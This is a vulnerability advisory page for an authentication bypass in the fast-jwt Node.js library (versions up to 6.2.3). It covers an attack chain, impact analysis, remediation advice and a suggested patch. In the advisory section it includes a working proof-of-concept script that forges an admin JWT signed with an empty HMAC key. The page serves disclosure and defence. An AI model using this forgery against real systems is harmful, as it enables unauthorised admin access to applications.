fast-jwt CVE-2026-44351
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify API using fast-jwt async resolver
-
DeliveryCraft JWT with unknown kid
-
ExploitSign token with empty HMAC key
-
ExecutionSend forged bearer token
-
PersistResolver returns '' , signature accepted
-
ImpactAssume arbitrary admin identity
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK
2 techniques across 2 tactics: Defense Evasion, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target application configure fast-jwt with a function-typed key resolver (async callback or (decoded, cb) style) whose return value can be an empty string '' or a zero-length Buffer - most commonly via the JWKS idiom keys[decoded.header.kid] || '' returning '' for an unknown/attacker-chosen kid, a cache miss, a DB miss, or a missing environment variable. The library must also permit HMAC algorithms, which is the default (empty algorithms array auto-assigns HS256/HS384/HS512 for the empty key). The attacker must sign their forged token with an empty-string key (trivial) and supply otherwise-valid claims, since expiry/iat and all non-signature checks remain enforced. Limiting factors that prevent exploitation: a synchronous string/buffer key (rejected as MISSING_KEY at setup); a resolver returning null or undefined rather than '' (does not trigger); and an explicit algorithms restriction to a non-HMAC family such as ['RS256'] (rejected as INVALID_KEY). The vulnerability does NOT affect default configurations universally - it is conditioned on the consumer's resolver being able to emit an empty key. |
| Impact | Signals are mixed and must be weighed together rather than read off the 9.1 CVSS alone. The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) frames this as trivial network, unauthenticated, low-complexity exploitation - but that AC:L understates a real precondition outside the attacker's control: the victim application's async resolver must actually return '' or a zero-length buffer, which is a deployment/coding condition, not a default library state. Accounting for that condition, attack complexity is more realistically High (see assessed vector). EPSS is very low (0.05%, 17th percentile) and the CVE is NOT on CISA KEV, so there is no evidence of active exploitation - but publicly available exploit code exists in the advisory, so weaponization is trivial where the precondition holds. Net: this is a genuine, high-impact auth-bypass primitive for the subset of deployments using the documented JWKS fallback pattern, warranting prompt patching, but it is not a blanket 'every fast-jwt user is exploitable' situation. The gap between high CVSS/POC and low EPSS/no-KEV is consistent with a condition-dependent rather than universally exploitable flaw. |
| Exploit ScenarioDerived | An API verifies bearer tokens with createVerifier({ key: async (decoded) => keys[decoded.header.kid] || '' }). An unauthenticated attacker crafts a JWT with an arbitrary kid, sets a payload of {sub:'admin',admin:true} with valid iat/exp, and signs it as HMAC-SHA256 over an empty key. Because the unknown kid makes the resolver return '', fast-jwt validates the token against the empty secret and returns the forged claims as authentic, granting the attacker full admin identity. A public proof-of-concept in the advisory reproduces this 100% against fast-jwt@6.2.3; the AV:N/AC:L/PR:N/UI:N vector makes it a trivially scriptable, remote, no-interaction attack wherever the precondition exists. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Authentication bypass in the nearform fast-jwt Node.js library (<= 6.2.3) lets unauthenticated attackers forge arbitrary, fully attacker-controlled JWTs whenever an application's asynchronous key resolver returns an empty string or zero-length buffer. fast-jwt coerces the empty key into an empty HMAC secret, auto-selects the HS256/384/512 family, and validates the token's signature against HMAC(key=''), so an attacker who signs their own token with an empty key is accepted as authentic. A working proof-of-concept is published in the vendor advisory (publicly available exploit code exists); despite the 9.1 CVSS the EPSS score is only 0.05% (17th percentile), reflecting that exploitability depends on a specific consumer coding pattern.
RemediationAI
Vendor-released patch: upgrade fast-jwt to 6.2.4 or later, which rejects zero-length HMAC secrets in prepareKeyOrSecret() with FAST_JWT_INVALID_KEY; this is the primary and recommended fix (see GHSA-gmvf-9v4p-v8jc). If you cannot upgrade immediately, apply specific compensating controls: harden your key resolver so it never returns '' or Buffer.alloc(0) - throw an error or return null/undefined on unknown kid, cache miss, or missing secret instead of falling back to '' (this closes the primitive with no functional downside for legitimate tokens). Additionally, explicitly set the verifier's algorithms option to only the asymmetric family you actually use (e.g. ['RS256'] or ['ES256']), which per the vendor's own attack matrix rejects the empty-key HMAC path with INVALID_KEY - trade-off: this breaks any legitimate HMAC-signed tokens, so only do it if you do not use HS* signatures. Be aware of fast-jwt's verification cache (default size 1000): a forged token accepted before remediation may remain cached, so clear/restart the process and consider lowering the cache TTL until patched.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
fast-jwt is a high-performance JSON Web Token implementation for Node.js maintained by NearForm, widely used for issuing and verifying JWTs in APIs and microservices. The flaw is a CWE-287 (Improper Authentication) defect rooted in missing key-material validation: in src/verifier.js, prepareKeyOrSecret() passes a caller-supplied key straight to Node's crypto.createSecretKey() with no length check, and the async-resolver path converts a returned '' into Buffer.alloc(0). detectPublicKeyAlgorithms() on an empty buffer falls through to the HMAC branch and returns ['HS256','HS384','HS512'], which - when the consumer left the default empty algorithms option - becomes the allowed set. crypto.createHmac then computes a valid MAC over an empty key, and timingSafeEqual returns true. Because the JWKS-style idiom keys[decoded.header.kid] || '' silently yields '' on any unknown kid, cache miss, or missing secret, the empty-key state is easy to reach. The bug is specific to the function-typed key resolver; synchronous falsy keys are correctly rejected at setup with MISSING_KEY. CPE/package identifier: pkg:npm/fast-jwt.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Remote and unauthenticated (AV:N/PR:N/UI:N) with full identity forgery (C:H/I:H), but AC:H because success depends on the app's resolver returning an empty key - a condition outside attacker control; no availability impact.
Primary rating from Vendor (https://github.com/nearform/fast-jwt).
CVSS VectorVendor: https://github.com/nearform/fast-jwt
DescriptionCVE.org
Summary
A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint - and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.
Preconditions
For this issue to occur the following MUST ALL be true:
- The application developer (library consumer) uses an asynchronous callback function to set the key (e.g.
createVerifier({key: async (decoded) => ... })) - The response from the async callback MUST return an empty string
''OR zero-length buffer (e.g.Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue - The library configuration must allow HMAC signatures. This is the default for the library.
- The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
- All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.
Details
src/verifier.js prepareKeyOrSecret (lines 33-39):
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check
}src/verifier.js async key-resolver flow (lines 429-468):
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0)
} else if (!(currentKey instanceof Buffer)) {
return callback(... 'string or buffer'...)
}
try {
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
// branch → returns hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned
}
currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
// → createSecretKey(Buffer.alloc(0)) - Node accepts the empty secret silently
verifyToken(currentKey, decoded, validationContext)
}
})src/crypto.js verifySignature (lines 286-291):
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.
The bug exists *only* on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.
PoC
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'
function b64url(buf) {
return Buffer.from(buf).toString('base64')
.replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}
// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
sub: 'attacker', admin: true,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`
// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})
console.log(await verifier(forgedToken))Output on fast-jwt@6.2.3:
{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }- the attacker-chosen payload is returned as authentic.
Attack matrix verified against fast-jwt@6.2.3:
| Resolver shape | algorithms option | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ accept | ✅ accept | ✅ accept |
(d, cb) => cb(null, '') | (default) | ✅ accept | ✅ accept | ✅ accept |
| `async d => keys[d.header.kid] \ | \ | ''` | (default) | ✅ accept |
async () => '' | ['HS256','HS384','HS512'] | ✅ accept | ✅ accept | ✅ accept |
async () => '' | ['HS256','RS256'] | ✅ accept | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
The bug is *only* not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.
Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):
- A token signed with the *real* secret continues to verify correctly. → ACCEPTED.
- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. → INVALID_SIGNATURE.
- The synchronous
key: ''(string) configuration is correctly rejected. → MISSING_KEY.
Impact
Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, *and* whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.
Concrete attacker capabilities:
- Mint arbitrary JWTs with attacker-chosen
sub,admin,roles,scopes,iss,aud, etc. - Full identity assumption - any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
- Default-config exploitable - the caller does not need to misconfigure
algorithms. With the default empty array, fast-jwt itself assigns['HS256','HS384','HS512']when it sees an empty key. - Cache amplification - once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.
The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.
Suggested fix
Reject zero-length HMAC secrets in prepareKeyOrSecret:
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
+
+ if (isSecret && (!key || key.length === 0)) {
+ throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+ }
+
return isSecret ? createSecretKey(key) : createPublicKey(key)
}This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.
For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.
Blast Radius
ecosystem impact- 3 npm packages depend on fast-jwt (1 direct, 2 indirect)
Ecosystem-wide dependent count for version 6.2.4.
Executive ViewAI
The nearform fast-jwt Node.js library (versions ≤ 6.2.3) contains an authentication bypass vulnerability that allows unauthenticated attackers to forge valid JSON Web Tokens when applications use certain asynchronous key resolver implementations. This affects organizations deploying the vulnerable library version, potentially compromising access control mechanisms across web applications and APIs that rely on JWT validation. Immediate patching is required to prevent unauthorized access to protected resources.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Affected Products (CPE)CVE.org
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
GHSA-gmvf-9v4p-v8jc
NVD
CVE.org
EPSS
Exploit-DB